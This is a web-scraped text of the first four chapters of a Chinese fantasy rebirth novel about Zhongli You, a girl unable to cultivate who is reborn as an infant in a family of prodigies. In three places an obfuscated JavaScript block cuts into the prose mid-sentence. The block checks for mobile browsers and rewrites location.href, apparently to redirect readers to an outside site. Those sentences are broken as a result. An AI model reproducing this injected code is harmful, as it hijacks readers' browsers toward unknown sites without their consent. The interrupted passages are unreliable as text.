《我青梅真不是废材》 1. 重生 她叫钟离悠。 是个天才。 还是个百年难遇的道法两修的天才。 这并不奇怪。 因为她全家都是天才。 她祖父的祖母是个天才。原本打算继承父业,继续给人做鞋,没想到先是觉醒道修天赋,没过多久又觉醒了法修神窍,成为九乌大陆创世以来第一个道法两修的天才。 她的外祖钟离家也不赖。除了盛产像她母亲这样的天才,还格外盛产钱。九乌大陆第一个拍卖行便是出自于她外祖母的外祖母之手。 天下还有戏言称,“若天下钱共一石,皇室占三斗,钟离家占三斗,秋家占两斗,剩下两斗天下共分”。 她的父母是丹阳国赫赫有名的双战神。 她的母亲,钟离清,是个法修天才,三十岁便是大法宗九阶,离凤毛麟角的法圣只有一步之遥;她的父亲,梅长宁,是个道修天才,同样离道圣只有一步之遥,使双刀,一刀可斩鬼神,一刀可撑天地。 只可惜,在她三个月大的时候,她的战神父母战死在一个叫死无葬身地的无主之地。 不过这也没关系,天才的宿命似乎总是要有一点悲惨不幸的底色在的。 更何况,她的其他家人都极爱她护她,尤其是与她同辈的几个堂姐堂哥表哥表妹。 当然,他们每个人也都是天才。 而她呢,更是同辈中的佼佼者。 不仅是修行上的天才,在炼药方面也是个天才,好几次阿兄与阿姐与人对战受伤,都是靠她的灵药治愈成功。 尤其是有一次试炼中,一只九阶赤风姑获妖兽,毁了她阿姐的脸,全靠她当场炼药,才让阿姐的脸恢复如初。 毋庸置疑,她是梅家与钟离家的骄傲与自豪,更是阿兄阿姐阿妹阿弟可靠的存在。 九乌大陆,强者为尊。 在修炼一事上,她从未有过一日懈怠,她苦心雕琢着自己,将自己打磨成一个真正能为家人和自己遮风避雨的强者,而不是…… 而不是什么? 而不是一个……废物。 哦,她想起来了。 她是一个废物。 这是第几次呢? 她记起来了,是第三十二次,第三十二次陷入到妖昙雾制造的幻境中。 这是她第三十三次从幻境中清醒过来。 第三十三次从她的天才梦中醒过来。 妖昙雾,一种能迅速大幅提升修炼者灵力的禁药。 之所以是禁药,有两个缘故,一是因为它能让使用者上瘾,只要使用一点,这辈子就离不开它了;二是因为它会让使用者陷入幻境之中,幻境里的场景全来源于使用者心里最压抑又最强烈的渴望,所以使用者在幻境中往往难以自拔。 不少使用者因无法接受幻境与现实的差距,选择自我了结。 妖昙雾,妖昙雾。 昙花一现,雾起亦雾终散。 假的终究成真不了,就像她一样。 她是一个废柴,虽然她全家都是天才。 她没有五行七脉,无法引气入体,做不了道者,更成为不了法者。 什么五行元素啊,什么炼气啊,什么神窍啊,什么精神力,什么元素法阵,统统与她无关。 道法两不修,她是第一个。 人们叫这样的人为“天残人”,天生残人,天亦残忍。 真正道法两修的绝世天才另有其人,是梅家分支的一个庶子,叫梅应微。 他打败了她的天才阿兄和阿姐,还废了她长兄的右腿,力压同辈一大批人,成为最耀眼的天才。 她也不会炼药,炼药需要精神力,她没有,真正的炼药天才是梅应微的妹妹,梅应怜。 梅应微好几次受重伤,都是靠梅应怜炼的药救了回来,并且还因此而进阶。 在那次封闭试境中,她的阿姐伤了脸,皮肉焦烂,白骨可见,她求在场唯一一个高阶炼药师梅应怜,求她出手救救阿姐,这样的伤没法拖到他们学院的炼药师来。 她愿意用她名下钟离家的三家拍卖行作为诊金。 可梅应怜笑了笑,说,“你以为风起拍卖行背后的主人是谁呢?我不缺拍卖行。” 风起拍卖行,虽是后起,但发展却格外猛烈迅速,已有隐隐压过钟离家的青琅拍卖行之势。 她没想到梅应怜竟然就是风起拍卖行那位神秘东家。 梅应怜继续说,她不缺钱,也不是圣母,她凭什么要救与她哥哥相争的人呢? 她不懂圣母是什么意思,她只知道阿姐的脸没救了,阿姐的脸毁了。 如果她是个炼药师,如果她个是炼药师……如果她不是个废物! 如果上天给她一点天赋! 如果上天能让她像普通人一样修炼…… 如果梅应怜是阿姐的妹妹的话…… 阿姐用指甲狠狠戳了戳她的额间,她说,她只会有一个妹妹,那就是钟离悠。 钟离悠就是这世界上最好的妹妹! 似乎戳完还不解气,阿姐又用力给了她屁股一巴掌。 好像也是这一巴掌,把襁褓里的钟离悠从上辈子的梦中拍醒了。 三个月大的钟离悠睁开朦胧泪眼,一点微光正好透过竹编盖的缝隙晃到她的眼睛处,钟离悠条件反射地闭上眼睛,看来现在外面又是白天了。 待那点光晃走后,钟离悠复又睁开眼睛。 她先侧眼去找那只聒噪无比的白绒球,它此刻正闭眼睡着,挨在钟离悠脑袋的右边,钟离悠静静收回视线,心里松了一口气,真是太好了,终于能让她有片刻安静的时候了。 这只自称“天道之心”的白绒球真的无比聒噪,这几天只要发现她醒来,它就一直不断地念叨着“天地时间倒退十六年”“钟离悠你重生了”“钟离悠你可以用意识和本尊交流的”“钟离悠你为什么不和本尊交流”之类的话。 也正是因为它的聒噪,她更确信这不是她新造出来的幻境,她的内心是不可能渴望有这样一只吵闹无比的白绒球的。 她真的死了。 那把轻薄、闪着雪白光芒的剑轻巧地抹掉了她的脖子,她突感脖子中间变得又凉又湿,再之后就没有之后了。 十六年的人生就这样结束于陌生人的剑下。 既然死了,那更不可能是幻境了,只要和妖昙雾无关,那怎样都是好的。 她又努力回忆了一下上辈子的记忆,不知为何,关于她上一辈子的记忆,总是模模糊糊的,就像是被人覆上了一层厚厚的白纱,她得十分用力去回想,才能勉强想起具体的场景,清醒时想起的记忆还不如梦中被迫梦到的那些场景清晰。 就仿佛,她上辈子死后与她这辈子醒来之间,隔了很久很久的时间。 总之,再有清晰的记忆,便是在这竹编盒里醒过来后的事了。 不过,基本常识还在。 譬如她还能认出装着她的这只竹藤盒的原材料。 竹藤的应该是来自长耳精怪的属地精卫海,名字叫帝桑藤,至柔至坚,寻常的七阶以下的妖兽是绝无可能咬断这样的竹藤,而且一旦受到攻击后,竹藤还会生出更为坚硬的竹藤。 竹藤盒内里还被人施了好几个元素法阵,法阵的颜色和图案时不时浮现出来,还带着其独有的漂亮流光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283193|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 其中最多的是土黄色的防御和防震加固的法阵,然后是浅绿色和水蓝色的安神和治愈的法阵,竹藤盖上还有一个白色的定位法阵。 上辈子,她的阿娘在死无葬身地生下了她,死无葬身地是丹阳国与无主之地的边界地块。那里寄居着大量凶残的朔鬼和高阶难缠的妖兽,以及妖兽领主。 妖兽领主已具备人类意识,经常会组织大量妖兽和朔鬼攻击周边人类城池,然后肆意吃人,所以这个地界由被叫做死无葬身地。 尸体都进了朔鬼和妖兽的肚子里,自然也无需什么葬身地了。 她的父母奉丹阳国君之令,常年驻扎在死无葬身地,护丹阳边境安宁。 在她三个月大的时候,她的父母死于一场高阶兽潮之中,据说是因为她父亲贪功冒进,过分沉溺于与妖兽领主的战斗中,没有及时回防,导致后方防线大崩溃,从而被兽群围剿。 但祖母却说并不是外人说的那样,她的父母是绝对将后方百姓放在第一位的,让她自己知道就好。 她对此十分好奇,但她从祖母的神情中读出来,这是不能问的,即使问了,祖母也并不会说。 在她父母死后,她由母亲的私卫从死无葬身地护送回位于丹阳国都朝歌的梅家。 现在,此时此刻,她应该就是在回祖母祖父家的路途中。 没想到重来一世,她还是没能亲眼见到阿娘和阿爹,画像上二十多岁的阿娘和阿爹,她不能再熟悉了,却从来没见过三十多岁的阿娘和阿爹。 可见,重来一世也未必会事事如愿。 每当白绒球提到重生一事时,语气总是隐隐带着些许骄傲,仿佛重生是一件很了不起的事情,她也察觉出来,它对她重生后的反应似乎有些不满,好像不是它预期中的表现。 她的内心当然有震惊,震惊话本里的重生情节真的发生了在她的身上,但更多的是难以适从和茫然。 她想起她看的那些话本,原来看话本的时候还没多想,而现在她却有些不明白为什么同样一个人回到开始后就迅速变得强大清醒起来。 到底是怎么做到的? 她觉得自己还是那个……钟离悠,她也不知道如何形容。 白绒球突然动了动,似乎要醒过来了。 钟离悠立马合上眼睛装睡,她现在还不想和它对话,让她再多逃避一会儿吧。 钟离悠本是装睡,慢慢的,听着耳边有节奏的马蹄行路声,渐渐真的睡了过去。 * 丹阳,朝歌城。 夜雨骤停,偶尔会有几颗不知从哪儿冒出来的雨滴落在行人的头顶或衣领里。 朝歌城分上中下三层。 中间,也就是地上一层。如其他城池一般,从地上稳稳生长出一连排井然有序的红金建筑物,一排排高低错落有致的建筑物组成一个又一个大大小小的区域,不同的区域从南至北排列,组成一座庞大繁华、包容性极强的人族城池。 若是俯瞰整座城池,最惹眼的莫过于城市中央那几座约三十丈高的人物雕像,那是几位出生丹阳的大能的尊像,亦是丹阳人的骄傲。 至于城池的地下,地下一层已被开通完毕,多用作交易场所,再下面的几层便是死水禁区了。 而城池的高空。 从外城城门百米前,到王宫附近为止,每隔三十丈设有红色的浮空瞭望塔,负责整座城池的防护与人员调动,每座塔都至少配有四个道者、四个法者。 五条中央大道的浮空瞭望塔还额外配有一个御兽师,专门负责护城兽的事宜。 此时,最边上的青龙大道的浮空瞭望塔正忙着。 2. 梅家 青龙大道上的行人被城卫兵驱赶到其他街道上,摆摊的零散户也在城卫兵的帮助下挪到相邻的大道里。 突然,一道巨大的影子在地面上一闪而过,街道上的人察觉头顶上有东西跃过去,下意识抬头看了一眼,又习以为常地收回视线。 这只巨大奇兽轻盈地落在对面低矮平屋的屋檐上,模样完全暴露在月光下,头似雄狮,身如猛虎,有一条比身体还长的蓬松的五彩漂亮尾巴,羽毛的质感,轻盈无比,铺满了整个屋檐,还留有一大截落在屋檐上,挑逗着地上的人类。 这正是丹阳城护城兽之一,上古瑞兽驺吾。 此时它正用它那黑黝黝的清澈明亮眼睛,好奇地看着底下搬地方的人类,时不时用它那漂亮的蓬松大尾巴搓搓人的脑袋,又时不时把已搬走的货品卷起,送回到原地,见地上的人原地打转找东西,满意地咧嘴一笑。 待青龙大道再无一人时,驺吾立刻回身跳跃至其他大道建筑物的屋顶上,继续去搓别人的头发。 夜雨又渐渐下起,从断断续续到淅淅沥沥,直至掀起连绵不断的雨雾,原本赤红的城池经过雨水的洗涤后越发新红了。 夜更深了,雨雾更大时,外城门,与青龙大道相连的西门依此打开,一行黑衣黑斗笠黑布全覆面的人马踏雾而来。 一共七八人,为首的人怀里抱有一个竹藤长盒。 一行人迅速穿过已清路的青龙大道,往不远处的梅府奔驰而去。 暸望塔上的人收回视线,取下墙上悬挂着的灵符纸,轻声念道,“梅长宁与钟离清之女钟离悠已回。” 他每说一个字,灵符纸上便对应出现一个字,待说完后,他将灵符纸往空中一抛,灵符纸瞬间变成一只浅绿色的长尾蝴蝶,向底下那一行人马的方向飞过去,又在第二个岔路口与她们分开,往巍峨的王宫飞去。 梅府。 门匾上系着白布花。 离大门最近的前院正厅入口处,站着两个头发灰白的老人,一个体型健硕高大的中年男人站在老妇人的侧后方。 这正是梅家家主梅烈,家主夫人侯珍,以及他们的长子梅长墨。 梅长墨看了一眼双亲的头发,心里叹了一口气,接到二弟与二弟妹的死讯后,两人看着平静无波,头发却是突然白上了许多。 梅长墨的妻子萧韵坐在他们侧后方的椅子上,怀里抱着她的幺女梅稚雪,四岁稚童抵不过熬夜的困倦,一不留神就缩在母亲的怀里酣睡过去了。 六岁的长子梅疏晏勉强靠着她坐着,没有睡过去,努力撑着,只是时不时揉揉眼睛,让自己清醒过来;二子梅疏野坐在小板凳上,脑袋搁在哥哥的腿上,也已沉沉地睡了过去,口水全留在哥哥的衣服上。 若是往日,喜洁的梅疏晏早就把梅疏野一把揪起来了,但此时梅疏晏所有的注意力都与瞌睡虫去做斗争了,无暇去管睡得流口水的弟弟了,只偶尔动动发麻的左腿。 “困了就靠着阿娘睡一会儿。”萧韵摸摸长子的脑袋,耳语道。 梅疏晏闻言下意识将背挺得更直了,没有出声,只是固执地摇摇脑袋。 萧韵又摸了摸长子的头。 长子与二子是双胞胎,长子就比二子先出来那么一会儿,两人除了长相外,性格与喜好迥然不同,长子自小稳重自持,二子却活泼调皮。 家里人从来没有拿长房长子的身份去要求过大儿子,但他似乎天生就是一个哥哥样。 “家主,人已过了青龙大道。”管家低声说道。 梅烈没有任何举动,只看着不远处敞开的外仪门,其他人亦是如此。 一阵轻而稳的脚步声夹杂着窸窸窣窣的声音在外响起,梅家老爷子梅烈与妻子侯珍对视一眼,回来了。 “来了。”梅长墨说道。 梅疏晏闻言,脑袋瞬间清醒过来,往门口看去,恰好看见那行黑衣黑斗笠的人裹雨而来。 待他们走近了些,他才发现他们的脸竟全都用一块黑布严严实实覆盖了起来,连眼睛都没有露出来,奇怪,他们这样怎么看路? “阿娘,他们是?”梅疏晏用着气音问道。 “是你二婶婶的私卫,只听你二婶婶的调遣,阿娘也不知道她们的来历。”萧韵回答道,除了知道他们实力强悍外,其他的她确实一概不知。 如今弟妹牺牲,也不知这些人何去何从。 为首的覆面人向梅烈与侯珍低了一下头,然后走到屋檐下,以免盖子打开后,雨水落在婴儿身上。 她微微抬高竹藤盒,打开盒子,露出里面睡得安稳的婴儿。 “小小姐,钟离悠。” 一道沙哑女音从黑面布里传出来。 大伯梅长墨用结实的手臂托过竹藤盒底,祖父梅烈撑着竹藤盒盖,另一只手小心翼翼地触了触婴儿的脑袋。 覆面人退到台阶下,无人在意的地方,她的右手握拳又松开。 小姐最后一个任务,她们完成了。 祖母侯珍将小孙女轻轻抱了出来,眼睛仍盯着小孙女额间那点红痣,待又用视线将她大略检查一圈后,她的眼睛不受控制又落在那点红痣上,眉心渐渐皱了起来。 梅烈和梅长墨都没注意侯珍的表情,注意力全集中在钟离悠身上。 “确实像二弟所说,模样更像二弟妹,是个美人胚子,睫毛却是我们梅家人的睫毛了。”梅长墨开口打破堂里的寂静。 梅家人都有副浓密翘长的漂亮睫毛。 钟离悠的阿爹梅长宁在家书里曾说过,钟离悠的阿娘钟离清刚接过新鲜出炉的女儿时,率先去看的就是女儿的睫毛,她是个短睫毛,便希望女儿能遗传到父亲那方的长睫毛。 梅烈和侯珍闻言,也都想起了二儿子在家书里写的那些不着调的话,都下意识笑了笑。 侯珍用食指轻轻遮住那点额间痣,希望是她想多了吧。 她把孩子递给梅长墨,“抱去给他们看看吧。” 梅长墨抱着钟离悠转身,来到妻子和儿子面前,蹲下。 “这就是你二叔和二婶的女儿,你的又一个妹妹,钟离悠。”梅长墨对着儿子说道。 好小好白,像妹妹梅稚雪爱吃的糯米团,这是梅疏晏对这个新妹妹的第一印象。 妹妹梅稚雪对生死之事尚懵懂着,二弟虽然懂了一些但还不多,两个人对这个新妹妹都是抱着新奇心,一个打定主意要让新妹妹先学会叫哥哥,一个打定主意不要让讨厌的二哥得逞,于是便都耗到了现在。 但梅疏晏却是真的想迎接这个妹妹,他爱他的父母,也知道父母是如何爱着他,对他而言,父母是谁也取代不了的存在。 因此他自然无法想,这个没有二叔没有二婶的妹妹该怎么过。 “我记得弟妹给她取了一个小名,叫磐磐是吧?”萧韵轻声问道,这个字复杂,用复杂的字取小名的不多,因而她倒是印象深刻。 她家这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283194|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个,都没有额外再取小名,就用着他们名字的最后一个字,直接唤“阿晏”、“阿野”和“阿雪”。 梅长墨皱眉,努力回想道,“好像是有那么一个小名。” 盘盘?盘子的盘吗? 盘盘。 梅疏晏碰了碰她紧握着拳头的小手,下一秒,竟被她握住了半截指头。 梅疏晏瞬间睁大了眼睛。 侯珍和梅烈同时收回视线,对视了一眼,接下来还有更重要的事情要问。 “他们夫妻俩到底是怎么死的?是真的碰见了与神兽差不多等级的妖兽领主了吗?”家主梅烈问道。 侯珍:“你们可以放心说,这里都是信得过的人。” 覆面人沉默一瞬,如实回答道,“可能不是妖兽,而是……混沌巨物。” “什么?!” 在场的人大惊失色。 “混沌巨物不是都被消灭干净了吗?怎么可能是……你们确定没有看错?”梅长墨问道。 “那个庞然大物肖似巨人,十只眼睛,八只耳朵,长触手,身体却是由大树、石头和妖兽残骸组成的,完全不是任何一类朔鬼和妖兽。” 覆面人又补充了一句,“它还能手撕妖兽领主,并且被砍掉它肢体的一部分,掉落下的肢体便化成新的怪物。” “这都符合混沌巨物的形容,倘若不是小姐和梅将军自爆的话……” 死无葬身地此刻只会更惨烈上百倍,而她们必然也无法带着小小姐逃脱。 大厅里因她的话瞬间陷入沉默中。 传说,九乌大陆还处于蛮荒时,有一位拥有神力的女祖。她第一天用泥巴造出了人族;第二天她用小锤子将人族其中的一部分压矮了一些,由此造出了矮人精怪;第三天,她又挑出了捏的最好看的几个人类,模仿叶子的形状,捏长了它们的耳朵,因此有了长耳精怪一族。 第四天,女祖不再造人,开始捏小动物,由此有了灵兽和妖兽;第五天,女祖厌倦玩泥巴,开始手绘日月星辰;第六天,女祖开始造山川河谷。 第七天,女祖睡于天地间,她的一切化作天地间的气与五行元素。 据说,被女祖厌倦的废弃泥土就成了混沌巨物的来源。 女祖没有赐形给它们,于是它们没有自己的形状,身边是什么东西便将自己凝结成什么东西,不断将自己堆高,结成巨物,也没有任何意识,只茫然地吞噬周边的一切。 这东西非常难缠,极其难杀,先行者们费了巨大的代价才彻底将它消灭干净……它已三四百年未出现过了。 “等长阙回来后,听他怎么说。”侯珍打破沉默。 当听说死无葬身地失守时,他们的幺子梅长阙和王家人一起前往支援了。 “家主,王宫有人来请。”管家匆匆来报。 大厅里的所有人的视线瞬间又集中在梅烈身上。 “王宫里的人怕就是要和你说这件事。”侯珍说道。 “那我就先去一趟。”梅烈说道,末了又折返回来说道,“你先把磐磐安置在我们屋子里。” “我知道。” 梅烈走后,覆面人犹豫片刻后,还是上前对老夫人说道,“还有一事。” “你只管说来。” “这一路上,我们碰见了许多低中阶的朔鬼,它们似乎都直冲着小小姐来的。” 朔鬼? 侯珍转头看向梅长墨怀里的婴儿。 3. 不想重生 钟离悠再次醒来时,一眼便对上悬挂到她面前的木雕四角小鹿,大脑放空片刻后,她才又将视线聚集在木雕小鹿上。 这是上古神兽夫诸。 书里记载夫诸性情温柔,外表如月光般洁净,旧时有诗:“时日久,污垢生;夫诸出,沧海流”。据说夫诸能够引来雨水和河流洗刷掉人间的一切污秽和痛苦。 钟离悠伸手,把挂盘上挂着的其他神兽拨转到自己面前,白泽、麒麟、朱雀、乘黄、毕方……一共是十二神兽。 这是专门为婴童制作的十二神兽床挂玩具,是丹阳独有的特色之物,既能给小孩当玩具,也是讨一个神兽的吉利与庇护之意。 这是她的玩具,也是她的小床。 钟离悠歪头看了看周围,这是祖母祖父的房间,一岁前她都是住在祖父母的房间里的,后来搬到了隔壁的小套间里,再大一些后才搬进隔壁的院子里。 婴儿床床脚处,有人背对着她坐在地上,是祖母的心腹燕姑。 此时还是深夜,屋里只点了一小盏明萤灯。 上辈子她就死在回家的路上,没想到却换了一种形式回到了家里。 “哼哼你终于醒了!” 在屋子里溜达了一圈回来的白绒球立刻冲到钟离悠的眼前。 钟离悠立刻闭上眼睛,终于用意识和它说了第一句话,“我没醒。” 白绒球盯着她,有些苦恼,“你没有什么想问我的吗?” “有吧。” 白绒球瞬间跳起来,“那你还闭上眼睛!”一副不愿意多看它的样子。 “我只是不想引起身边人的注意。”钟离悠维持着面上睡着的样子。 “好吧,那你想问什么?问你为什么能重生?” 钟离悠嗯了一声。 白绒球一副我就知道的模样,它一边原地蹦跶着一边说道,“这个嘛……天机不可泄露。” “那能把我送回去吗?”钟离悠平静问道。 原本蹦跶得很得意的白绒球瞬间蹦不起来了,“你……你不想重生吗?” “不想,把我送回上一世吧,让我入土为安吧。” 说到入土为安。也不知道上辈子她死后有没有人给她收尸。 “为什么?” “为什么就我能重生呢?你不觉得这对其他人很不公平?”钟离悠平静的语气夹杂着说不清道不明的情绪。 白绒球挠挠自己的脸,心情有些复杂,“这自然是有你的机缘,而且你是死后重生,魂魄被招引,算是半个不死人。” 魂魄被招引? 有人招引她的魂魄吗? 钟离悠问,“半个不死人?” 在上古传说里。女祖长眠于天地间时,吐出了一口气,这口气化成了不死人。 不死人有人的形貌,却无人的躯体,只有魂体,他们擅长相面断命,尤其是天道预言,能够预知这世上未来的走向。 他们一族,姓长庚,常居于烂柯地,据说待在烂柯地里一日,外界便已百年。 “对。”白绒球说道,“你反正自带半阴体质,容易召来朔鬼和妖兽,这也是天道间的一种平衡。” “无论你是否愿意重生,你都沾了天道气运,你杀死朔鬼和妖兽也算是功德,能补回天道气运,也算是与天道间的交易。” “所以也不算什么不公平。” 天下没有免费的午餐,要付出对等的代价,钟离悠倒是安心了不少。 不过,她更在意的是半个不死人这件事,不死人有预言的能力,她似乎也沾了一点。 她做了一个很长很混乱的梦。 她不止梦见了自己那些经历,还梦见了其他人,并且是从他们的视角梦见的,仿佛她的灵魂住进了他们的身体里。 她梦见梅应微的身体寄居着一只半残的神兽,赤天凤凰,神兽可化人,它教梅应微如何修炼,教他如何炼器,帮助他识宝,还帮助他隐藏修为。 她还梦见梅应怜,梦见她体内的灵魂来自另外一个与九乌大陆迥然不同的世界,梦见她有一只银镯。 银镯里有天然的灵泉和灵田,即使再枯萎的药材和干瘪的药种,都能用灵泉救活,而任何药材只要种进它的灵田里都能升阶。 而最令她震惊的还是她的前未婚夫,丹阳国世子,楚怀瑾。 她梦见他成功解除了七国君主盟约,颠覆了当今的胤朝,一统其他六国,成为天下新的主人。 胤朝初建时,开朝皇帝分封其他七位有功之臣为异姓诸侯王,也就是现在的丹阳、牧野、月吾、扎陵、商洛、越国和北留。 七位诸侯王为表对帝王与胤朝的忠心,以四神兽之血为引,共同定下了君主盟约,发誓自己世世代代的子孙将永远效忠胤朝皇族。 在楚怀瑾的人皇之路中,梅应微和梅应怜是最不可缺少的。 她没想到,原来在丹阳时,他们三人已经相互认识了,虽然都用的是其他身份。 去了东隅学院后,三人才逐渐从盟友关系转为更为亲密无比的战友与同伴关系。 梅应微以梅家老祖的后继者身份,集中丹阳的军力,成为楚怀瑾最坚实的后盾力量之一;梅应怜吞并钟离家的大半产业,与其他炼药与锻造世家结盟,积攒了大量的财富与人脉资源。 这些事情都是发生在她死后,加上这个梦极其跳跃,她一会儿是“梅应微”,一会儿又是“楚怀瑾”,她无从得知她的家人过得如何。 在他们的视角中,她很少梦见他们经历的详细细节,只有结果较为清楚,那些过程像是有意被模糊化了,唯有一点,或许是因为和她有关,所以她还能够清楚记得。 在楚怀瑾的视角中,她看见,是他暗中吩咐人,在集英大会上,众目睽睽之下,让她暴露使用过妖昙雾的癫狂上瘾的丑陋之态。 从那天起,她不仅是梅家和钟离家那个天残人,那个废物,更成了他人眼中两家的耻辱,为了能够修炼而不择手段之人。 再后来,她被逐出了东隅学院,然后,死在回梅家的路上。 她真的不明白,为什么他要这么做? 难道那个让她偷偷染上妖昙雾的人,也是他吗? 他的母亲,丹阳王后,与她的阿娘是旧识,或许是因为这份旧交,王后也照拂了她几分。 王后在修炼一事上,虽无天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283195|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分,但却是个很博学多识的人,她对这位王后感观也很不错。 她七岁时,王后病逝,病逝前定下了她与楚怀瑾的婚约,那时楚怀瑾也才九岁。 楚怀瑾生得好看,行止端方有礼,赞一句“积石如玉,列松如翠”也不为过。 有这样一个未婚夫,自然而然有几分好感,但再长大一些后,她能看出来,楚怀瑾虽对她很好,但对她并无男女之意。 她只是无法修炼,却又不傻。 无法修炼这件事让她无法克制地滋生自卑之心,家人的关心爱护与强大的父母又让她绝不允许自己自贱自轻、自怨自艾。 两种状态常常在她内心深处打架,长年累月之下,让她心里产生了一种扭曲的自矜和自傲,她绝不允许自己在其他任何方面丢脸了。 她很快歇了对楚怀瑾的心思,不喜欢自己也并非楚怀瑾之错,就像她也不喜欢吃萝卜一样,都是没办法的事,她便把楚怀瑾当半个兄长对待。 她等着他退婚摊牌,以全丹阳世子的颜面。 直到她听见他对旁人说,他的妻子应是能与他携手并进的人,他不需要依存他才能生的菟丝花,钟离悠和他的母亲太像。 她转身离开,写信求祖父祖母退了婚。 “你怎么又突然不说话了?”白绒球又戳戳钟离悠。 钟离悠睁开眼,“我一直在想,你这个天道之心为何会在我身边,直到我做了一个梦,我终于想通了。” 白绒球不动了。 “你是来看住我的吧。” 白绒球彻底老实了。 “怕我这个变数影响了你们的天道之子们?甚至能因预知后事而杀了他们?” 白绒球连忙摇它的小手,“我们天道不生孩子的!” 钟离悠用三个月大婴儿的眼睛努力白了它一眼,这三人的经历完全可以写成话本故事卖了,这还不是天道亲儿女? “……你真的要和他们作对吗?”白绒球瞅着她的神色问道。 “所以你果然是来看住我的。”钟离悠回道。 白绒球又缩成一团,不作声了。 要和他们作对吗? 她还不知道。 他们的经历里涉及到太多人了,他们也是别人的机缘与贵人,也影响着很多人的命运 她无法做到在弄死他们之后接手他们的一切事情,至少她对当什么人皇一点兴趣都没有,而且如果没有办法一击而中的话,那将是后患无穷。 但是,她也不愿意再让梅家和钟离家成为他们的踏板,梅家和钟离家的东西,她一丁点都不想给他们。 “其实你也可以试着和他们成为朋友……”白绒球试探开口道。 “不可能。”钟离悠一口回绝。 就凭梅应微废了她长兄一条腿这一件事,她都不可能和他们成为朋友。 而且,她也忘不了梅应微兄妹俩望向她时如同望向蝼蚁一样的眼神。 也不知道为什么,她莫名就是想跟着他们对着干,她上辈子努力控制住了这种心态,倒没有对他们做出什么事情来。 可能有些人天生就是没法成为朋友的,钟离悠想。 4. 嫉妒 白绒球小声道,“其实你和他们也不是那种不死不休的敌人……” “我嫉妒他们。”钟离悠直接打断它的劝说,“我非常非常非常嫉妒他们”。 她嫉妒他们的机遇,也嫉妒他们的天赋。 在梦中,她曾短暂“成为”过他们。 附在他们身上时,她第一次真切感受到作为道者引气入五行七脉炼体是什么感受,第一次使用法杖,吟唱法咒,调动天地五行元素,扔出元素法阵。 她嫉妒他们能够修炼,尤其梅应微,他还是道法两修;她嫉妒他们能够炼药,能够炼器,能够制符;她嫉妒他们能够走遍九乌大陆,杀妖邪,看天地;她嫉妒他们有能够托付生死,一起战斗的朋友……甚至连和妖兽厮杀时濒死的感觉和修炼卡顿苦闷时的心情,她都嫉妒。 她从来没有酣畅淋漓地活过。 她渴望战斗。 九乌大陆,人人皆可修炼。这是上天赐给人族的礼物,人族借着这份礼物得以在这个妖兽横行,朔鬼满飘的世界存活。 而所谓的普通人,也只是修炼速度较为慢,往往会卡较低的阶级。 道修者、法修者、炼药师、炼器师、御兽师、鬼隐者……真正被这个绮丽绚烂的世界拒之门外的从来就只有她,钟离悠。 “你也可以假装跟他们成为朋友……”白绒球继续小声说道,在它看来,楚怀瑾和梅氏兄妹三人都是强运之人,与其敌对,真不如交好。 钟离悠直接睁眼驳道,“你当他们是傻子吗?真心和假意都分出不出来?” 再说,她也有自己真心结交的朋友,才不稀罕跟他们当假朋友。 白绒球不服气地朝她哈了哈气,钟离悠没理它,她又想回了修炼的事。 上一世,为了能够修炼,能看的古典秘籍和杂书她都看过了,能试过的药材偏方也都试过了,该求的神该祈的福也都求了,能想到的办法她都试过了。 她甚至为此花了一大笔钱去往修炼者才可以去的东隅学院,也把仅剩的尊严与命都丢在那里了。 无人注意到的地方,钟离悠的眉间痣微微闪过一点红光,但很快又暗淡下来。 她也并非是个贪得无厌的人,她也知道,作为钟离家和梅家的孩子,从小锦衣玉食,还有长辈与兄姊的爱护,比着世上许多人已经幸福很多了。 但也许人就是忍不住往上看,看自己没有的东西,她不得不承认,或许她的内心深处在享受着一种自伤自怜的变态痛感。 她渴望被人瞧不起,然后一鸣惊人。她总是会牢牢记住那些伤害到她的眼神与言论,然后在每个不甘心的瞬间,反复咀嚼着这些眼神与言论,延长自伤自怜夹杂着痛意的快感。 这样的快感又促使着她疯狂地去寻找让自己能够修炼的方法,一次一次的失败酿成最醇厚的痛苦。 她时而又想放纵沉沦,干脆承认自己就是天下最可怜之人,可她还是没法这样做。 她读书。 梅家的藏书,丹阳国学院的藏书,钟离家的藏书,东隅学院的藏书……只要她能拿到的书,只要和修炼沾边的书,她都逐字逐句地翻阅过,在读的过程中,她常常忘记时间,也忘记自己,只有一种平静而持久的快乐,如静水深流般的快乐。 尤其是那些前辈大能的手记之言,朴拙却有力,使得她不愿真的彻底自弃。 